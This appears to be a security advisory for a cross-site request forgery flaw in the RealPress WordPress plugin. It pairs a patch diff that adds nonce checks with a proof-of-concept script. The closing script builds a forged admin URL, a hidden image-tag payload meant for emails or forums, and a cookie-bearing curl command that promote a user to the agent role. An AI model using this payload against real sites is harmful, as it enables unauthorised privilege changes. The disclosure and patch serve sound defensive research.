CVE-2026-27050: RealPress – Real Estate Plugin <= 1.1.0 – Cross-Site Request Forgery (realpress)

--- a/realpress/app/Controllers/BecomeAgentController.php
+++ b/realpress/app/Controllers/BecomeAgentController.php
@@ -1,181 +1,205 @@
-<?php
-
-namespace RealPressControllers;
-
-use RealPressHelpersValidation;
-use RealPressModelsUserModel;
-use RealPressHelpersRestApi;
-use RealPressHelpersSettings;
-use WP_REST_Server;
-
-/**
- * Class BecomeAgentController
- * @package RealPressControllers
- */
-class BecomeAgentController {
-
-	/**
-	 * BecomeAgentController constructor.
-	 */
-	public function __construct() {
-		add_filter( 'views_users', array( $this, 'views_users' ), 10, 1 );
-		add_filter( 'user_row_actions', array( $this, 'user_row_actions' ), 10, 2 );
-		add_filter( 'users_list_table_query_args', array( $this, 'display_only_pending_requests' ) );
-		add_action( 'rest_api_init', array( $this, 'register_rest_routes' ) );
-		add_action( 'admin_init', array( $this, 'handle_become_an_agent' ) );
-	}
-
-	public function handle_become_an_agent() {
-		if ( ! current_user_can( 'administrator' ) ) {
-			return;
-		}
-
-		$action  = Validation::sanitize_params_submitted( $_GET['realpress-action'] ?? '' );
-		$user_id = Validation::sanitize_params_submitted( $_GET['user_id'] ?? '' );
-		if ( empty( $action ) || empty( $user_id ) ) {
-			return;
-		}
-
-		if ( ! get_user_by( 'id', $user_id ) ) {
-			return;
-		}
-
-		if ( in_array( $action, array( 'accept-request', 'deny-request' ) ) ) {
-			delete_user_meta( $user_id, REALPRESS_PREFIX . '_become_an_agent_request' );
-
-			if ( $action === 'accept-request' ) {
-				$user = new WP_User( $user_id );
-				$user->remove_role( 'subscriber' );
-				$user->add_role( REALPRESS_AGENT_ROLE );
-				do_action( 'realpress/agent/become-an-agent/approve', $user_id );
-				wp_redirect( admin_url( 'users.php?realpress-action=accepted-request&user_id=' . $user_id ) );
-			} else {
-				do_action( 'realpress/agent/become-an-agent/reject', $user_id );
-				wp_redirect( admin_url( 'users.php?realpress-action=denied-request&user_id=' . $user_id ) );
-			}
-			die();
-		}
-	}
-
-	public function views_users( $views ) {
-		$pending_requests = UserModel::get_pending_requests();
-		if ( $pending_requests ) {
-			$action = Validation::sanitize_params_submitted( $_GET['realpress-action'] ?? '' );
-			if ( $action === 'pending-request' ) {
-				$class = ' class="current"';
-				foreach ( $views as $k => $view ) {
-					$views[ $k ] = preg_replace( '!class="current"!', '', $view );
-				}
-			} else {
-				$class = '';
-			}
-
-			$views['pending-request'] = '<a href="' . admin_url( 'users.php?realpress-action=pending-request' ) . '"' . $class . '>'
-										. sprintf( __( 'Pending Request <span class="count">(%s)</span>', 'realpress' ), count( $pending_requests ) ) . '</a>';
-		}
-
-		return $views;
-	}
-
-	/**
-	 * @param $actions
-	 * @param $user
-	 *
-	 * @return array|mixed
-	 */
-	public function user_row_actions( $actions, $user ) {
-		$pending_request = UserModel::get_pending_requests();
-		$action          = Validation::sanitize_params_submitted( $_GET['realpress-action'] ?? '' );
-		if ( $action === 'pending-request' && $pending_request ) {
-			$actions = array();
-			if ( in_array( $user->ID, $pending_request ) ) {
-				$actions['accept']      = sprintf(
-					'<a href="' . admin_url( 'users.php?realpress-action=accept-request&user_id=' . $user->ID ) . '">%s</a>',
-					_x( 'Accept', 'pending-request', 'realpress' )
-				);
-				$actions['delete deny'] = sprintf(
-					'<a class="submitdelete" href="' . admin_url( 'users.php?realpress-action=deny-request&user_id=' . $user->ID ) . '">%s</a>',
-					_x( 'Deny', 'pending-request', 'realpress' )
-				);
-			}
-		}
-
-		return $actions;
-	}
-
-	public function display_only_pending_requests( $args ) {
-		$action = Validation::sanitize_params_submitted( $_GET['realpress-action'] ?? '' );
-		if ( $action === 'pending-request' ) {
-			$args['include'] = UserModel::get_pending_requests();
-		}
-
-		return $args;
-	}
-
-	public function register_rest_routes() {
-		do_action('realpress/rest-api/before-register');
-
-		register_rest_route(
-			RestApi::generate_namespace(),
-			'/become-an-agent',
-			array(
-				'methods'             => WP_REST_Server::CREATABLE,
-				'callback'            => array( $this, 'become_an_agent' ),
-				'permission_callback' => '__return_true',
-			),
-		);
-	}
-
-	public function become_an_agent( WP_REST_Request $request ) {
-		$params = $request->get_params();
-		$args   = array(
-			'first_name'           => $params['first_name'] ?? '',
-			'last_name'            => $params['last_name'] ?? '',
-			'agency_name'          => $params['agency_name'] ?? '',
-			'phone_number'         => $params['phone_number'] ?? '',
-			'additional_info'      => $params['additional_info'] ?? '',
-			'terms_and_conditions' => $params['terms_and_conditions'] ?? false,
-		);
-
-		if ( ! is_user_logged_in() ) {
-			return RestApi::error( esc_html__( 'You must log in to submit to become an Agent.', 'realpress' ), 401 );
-		}
-
-		$user_id    = get_current_user_id();
-		$user_roles = UserModel::get_field( $user_id, 'roles' );
-		if ( ! in_array( 'subscriber', $user_roles ) ) {
-			return RestApi::error( esc_html__( 'You don't have permission to do it.', 'realpress' ), 403 );
-		}
-
-		if ( empty( $args['first_name'] ) ) {
-			return RestApi::error( esc_html__( 'The first name is required.', 'realpress' ), 400 );
-		}
-
-		if ( empty( $args['last_name'] ) ) {
-			return RestApi::error( esc_html__( 'The last name is required.', 'realpress' ), 400 );
-		}
-
-		if ( empty( $args['phone_number'] ) ) {
-			return RestApi::error( esc_html__( 'The phone number is required.', 'realpress' ), 400 );
-		}
-
-		if ( empty( $args['terms_and_conditions'] ) ) {
-			return RestApi::error( esc_html__( 'Please accept the Terms and Conditions.', 'realpress' ), 400 );
-		}
-
-		$user              = new WP_User( $user_id );
-		$automatic_approve = Settings::get_setting_detail( 'group:agent:fields:automatically_approve' );
-		if ( $automatic_approve ) {
-			$user->remove_role( 'subscriber' );
-			$user->add_role( REALPRESS_AGENT_ROLE );
-			do_action( 'realpress/agent/become-an-agent/approve', $user_id );
-
-			return RestApi::success( esc_html__( 'Thank you! You became an Agent.', 'realpress' ), array() );
-		} else {
-			update_user_meta( $user_id, REALPRESS_PREFIX . '_become_an_agent_request', 'yes' );
-			do_action( 'realpress/agent/become-an-agent/request', $user_id, $args );
-
-			return RestApi::success( esc_html__( 'Thank you! Your request has been sent.', 'realpress' ), array() );
-		}
-	}
-}
+<?php
+
+namespace RealPressControllers;
+
+use RealPressHelpersValidation;
+use RealPressModelsUserModel;
+use RealPressHelpersRestApi;
+use RealPressHelpersSettings;
+use WP_REST_Server;
+
+/**
+ * Class BecomeAgentController
+ * @package RealPressControllers
+ */
+class BecomeAgentController {
+
+	/**
+	 * BecomeAgentController constructor.
+	 */
+	public function __construct() {
+		add_filter( 'views_users', array( $this, 'views_users' ), 10, 1 );
+		add_filter( 'user_row_actions', array( $this, 'user_row_actions' ), 10, 2 );
+		add_filter( 'users_list_table_query_args', array( $this, 'display_only_pending_requests' ) );
+		add_action( 'rest_api_init', array( $this, 'register_rest_routes' ) );
+		add_action( 'admin_init', array( $this, 'handle_become_an_agent' ) );
+	}
+
+	public function handle_become_an_agent() {
+		if ( ! current_user_can( 'administrator' ) ) {
+			return;
+		}
+
+		$action  = Validation::sanitize_params_submitted( $_GET['realpress-action'] ?? '' );
+		$user_id = Validation::sanitize_params_submitted( $_GET['user_id'] ?? '' );
+		if ( empty( $action ) || empty( $user_id ) ) {
+			return;
+		}
+
+		if ( ! get_user_by( 'id', $user_id ) ) {
+			return;
+		}
+
+		$nonce_map = [
+			'accept-request' => 'realpress_accept_agent_action',
+			'deny-request'   => 'realpress_deny_agent_action',
+		];
+
+		if ( ! isset( $nonce_map[ $action ] ) ) {
+			return;
+		}
+
+		if (
+			! isset( $_GET['_wpnonce'] ) ||
+			! wp_verify_nonce( $_GET['_wpnonce'], $nonce_map[ $action ] )
+		) {
+			return;
+		}
+
+		if ( in_array( $action, array( 'accept-request', 'deny-request' ) ) ) {
+			delete_user_meta( $user_id, REALPRESS_PREFIX . '_become_an_agent_request' );
+
+			if ( $action === 'accept-request' ) {
+				$user = new WP_User( $user_id );
+				$user->remove_role( 'subscriber' );
+				$user->add_role( REALPRESS_AGENT_ROLE );
+				do_action( 'realpress/agent/become-an-agent/approve', $user_id );
+				wp_redirect( admin_url( 'users.php?realpress-action=accepted-request&user_id=' . $user_id ) );
+			} else {
+				do_action( 'realpress/agent/become-an-agent/reject', $user_id );
+				wp_redirect( admin_url( 'users.php?realpress-action=denied-request&user_id=' . $user_id ) );
+			}
+			die();
+		}
+	}
+
+	public function views_users( $views ) {
+		$pending_requests = UserModel::get_pending_requests();
+		if ( $pending_requests ) {
+			$action = Validation::sanitize_params_submitted( $_GET['realpress-action'] ?? '' );
+			if ( $action === 'pending-request' ) {
+				$class = ' class="current"';
+				foreach ( $views as $k => $view ) {
+					$views[ $k ] = preg_replace( '!class="current"!', '', $view );
+				}
+			} else {
+				$class = '';
+			}
+
+			$views['pending-request'] = '<a href="' . admin_url( 'users.php?realpress-action=pending-request' ) . '"' . $class . '>'
+										. sprintf( __( 'Pending Request <span class="count">(%s)</span>', 'realpress' ), count( $pending_requests ) ) . '</a>';
+		}
+
+		return $views;
+	}
+
+	/**
+	 * @param $actions
+	 * @param $user
+	 *
+	 * @return array|mixed
+	 */
+	public function user_row_actions( $actions, $user ) {
+		$pending_request = UserModel::get_pending_requests();
+		$action          = Validation::sanitize_params_submitted( $_GET['realpress-action'] ?? '' );
+		if ( $action === 'pending-request' && $pending_request ) {
+			$actions = array();
+			if ( in_array( $user->ID, $pending_request ) ) {
+				$actions['accept']      = sprintf(
+					'<a href="' .wp_nonce_url(
+					admin_url( 'users.php?realpress-action=accept-request&user_id=' . $user->ID ),
+						'realpress_accept_agent_action',
+						'_wpnonce'
+					) . '">%s</a>',
+					_x( 'Accept', 'pending-request', 'realpress' )
+				);
+				$actions['delete deny'] = sprintf(
+					'<a class="submitdelete" href="' .wp_nonce_url(
+						admin_url( 'users.php?realpress-action=deny-request&user_id=' . $user->ID ) ,
+						'realpress_deny_agent_action',
+						'_wpnonce',
+					). '">%s</a>',
+					_x( 'Deny', 'pending-request', 'realpress' )
+				);
+			}
+		}
+
+		return $actions;
+	}
+
+	public function display_only_pending_requests( $args ) {
+		$action = Validation::sanitize_params_submitted( $_GET['realpress-action'] ?? '' );
+		if ( $action === 'pending-request' ) {
+			$args['include'] = UserModel::get_pending_requests();
+		}
+
+		return $args;
+	}
+
+	public function register_rest_routes() {
+		do_action('realpress/rest-api/before-register');
+
+		register_rest_route(
+			RestApi::generate_namespace(),
+			'/become-an-agent',
+			array(
+				'methods'             => WP_REST_Server::CREATABLE,
+				'callback'            => array( $this, 'become_an_agent' ),
+				'permission_callback' => '__return_true',
+			),
+		);
+	}
+
+	public function become_an_agent( WP_REST_Request $request ) {
+		$params = $request->get_params();
+		$args   = array(
+			'first_name'           => $params['first_name'] ?? '',
+			'last_name'            => $params['last_name'] ?? '',
+			'agency_name'          => $params['agency_name'] ?? '',
+			'phone_number'         => $params['phone_number'] ?? '',
+			'additional_info'      => $params['additional_info'] ?? '',
+			'terms_and_conditions' => $params['terms_and_conditions'] ?? false,
+		);
+
+		if ( ! is_user_logged_in() ) {
+			return RestApi::error( esc_html__( 'You must log in to submit to become an Agent.', 'realpress' ), 401 );
+		}
+
+		$user_id    = get_current_user_id();
+		$user_roles = UserModel::get_field( $user_id, 'roles' );
+		if ( ! in_array( 'subscriber', $user_roles ) ) {
+			return RestApi::error( esc_html__( 'You don't have permission to do it.', 'realpress' ), 403 );
+		}
+
+		if ( empty( $args['first_name'] ) ) {
+			return RestApi::error( esc_html__( 'The first name is required.', 'realpress' ), 400 );
+		}
+
+		if ( empty( $args['last_name'] ) ) {
+			return RestApi::error( esc_html__( 'The last name is required.', 'realpress' ), 400 );
+		}
+
+		if ( empty( $args['phone_number'] ) ) {
+			return RestApi::error( esc_html__( 'The phone number is required.', 'realpress' ), 400 );
+		}
+
+		if ( empty( $args['terms_and_conditions'] ) ) {
+			return RestApi::error( esc_html__( 'Please accept the Terms and Conditions.', 'realpress' ), 400 );
+		}
+
+		$user              = new WP_User( $user_id );
+		$automatic_approve = Settings::get_setting_detail( 'group:agent:fields:automatically_approve' );
+		if ( $automatic_approve ) {
+			$user->remove_role( 'subscriber' );
+			$user->add_role( REALPRESS_AGENT_ROLE );
+			do_action( 'realpress/agent/become-an-agent/approve', $user_id );
+
+			return RestApi::success( esc_html__( 'Thank you! You became an Agent.', 'realpress' ), array() );
+		} else {
+			update_user_meta( $user_id, REALPRESS_PREFIX . '_become_an_agent_request', 'yes' );
+			do_action( 'realpress/agent/become-an-agent/request', $user_id, $args );
+
+			return RestApi::success( esc_html__( 'Thank you! Your request has been sent.', 'realpress' ), array() );
+		}
+	}
+}
--- a/realpress/app/Helpers/Page.php
+++ b/realpress/app/Helpers/Page.php
@@ -110,7 +110,11 @@
 		}

 		$author = get_queried_object();
-		$roles  = $author->roles;
+		if ( ! $author || ! isset( $author->roles ) || ! is_array( $author->roles ) ) {
+			return false;
+		}
+
+		$roles = $author->roles;

 		return in_array( REALPRESS_AGENT_ROLE, $roles );
 	}
--- a/realpress/realpress.php
+++ b/realpress/realpress.php
@@ -1,9 +1,9 @@
 <?php
 /**
  * Plugin Name: RealPress
- * Plugin URI: https://thimpress.com/product/realpress-real-estate-wordpress-theme/
+ * Plugin URI: https://thimpress.com/
  * Description: An useful Real Estate plugin
- * Version: 1.1.0
+ * Version: 1.1.1
  * Author: ThimPress
  * Author URI: https://thimpress.com/
  * Requires at least: 6.0
--- a/realpress/views/admin/setup/header.php
+++ b/realpress/views/admin/setup/header.php
@@ -1,11 +1,14 @@
-<!DOCTYPE html>
-<html <?php language_attributes(); ?>>
-<head>
-	<meta name="viewport" content="width=device-width"/>
-	<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
-	<title><?php esc_html_e( 'RealPress › Setup Wizard', 'realpress' ); ?></title>
-	<?php do_action( 'admin_print_styles' ); ?>
-	<?php do_action( 'admin_print_scripts' ); ?>
-</head>
-<body class="realpress-setup wp-core-ui js">
-<div id="content">
+<!DOCTYPE html>
+<html <?php language_attributes(); ?>>
+<head>
+	<meta name="viewport" content="width=device-width"/>
+	<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
+	<title><?php esc_html_e( 'RealPress › Setup Wizard', 'realpress' ); ?></title>
+	<?php
+	remove_action( 'admin_print_styles', 'print_emoji_styles' );
+    do_action( 'admin_print_styles' );
+	do_action( 'admin_print_scripts' );
+    ?>
+</head>
+<body class="realpress-setup wp-core-ui js">
+<div id="content">

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-27050 - RealPress – Real Estate Plugin <= 1.1.0 - Cross-Site Request Forgery

<?php
// Configuration
$target_url = 'https://vulnerable-site.com/wp-admin/users.php';
$target_user_id = 5; // ID of the subscriber to promote
$action = 'accept-request'; // Could also be 'deny-request'

// Construct the malicious URL
$exploit_url = $target_url . '?realpress-action=' . $action . '&user_id=' . $target_user_id;

// Display the exploit payload
echo "CSRF Exploit for CVE-2026-27050n";
echo "================================n";
echo "Target URL: " . $target_url . "n";
echo "Action: " . $action . "n";
echo "Target User ID: " . $target_user_id . "nn";

echo "Exploit URL:n";
echo $exploit_url . "nn";

echo "HTML Image Tag Payload (for embedding in emails/forums):n";
echo '<img src="' . $exploit_url . '" width="0" height="0" border="0" />' . "nn";

echo "cURL Command (for direct testing):n";
echo 'curl -k -i -H "Cookie: [ADMIN_SESSION_COOKIE_HERE]" "' . $exploit_url . '"' . "nn";

echo "Instructions:n";
echo "1. The target administrator must be logged into WordPress.n";
echo "2. The administrator must visit the exploit URL or load the image payload.n";
echo "3. The plugin will process the request without CSRF protection.n";
echo "4. User " . $target_user_id . " will be promoted to agent role if they have a pending request.n";

// Optional: Automated test with cURL (requires valid admin cookie)
/*
$admin_cookie = 'wordpress_logged_in_xxxx=xxxx';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $exploit_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_COOKIE, $admin_cookie);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);
echo $response;
*/
?>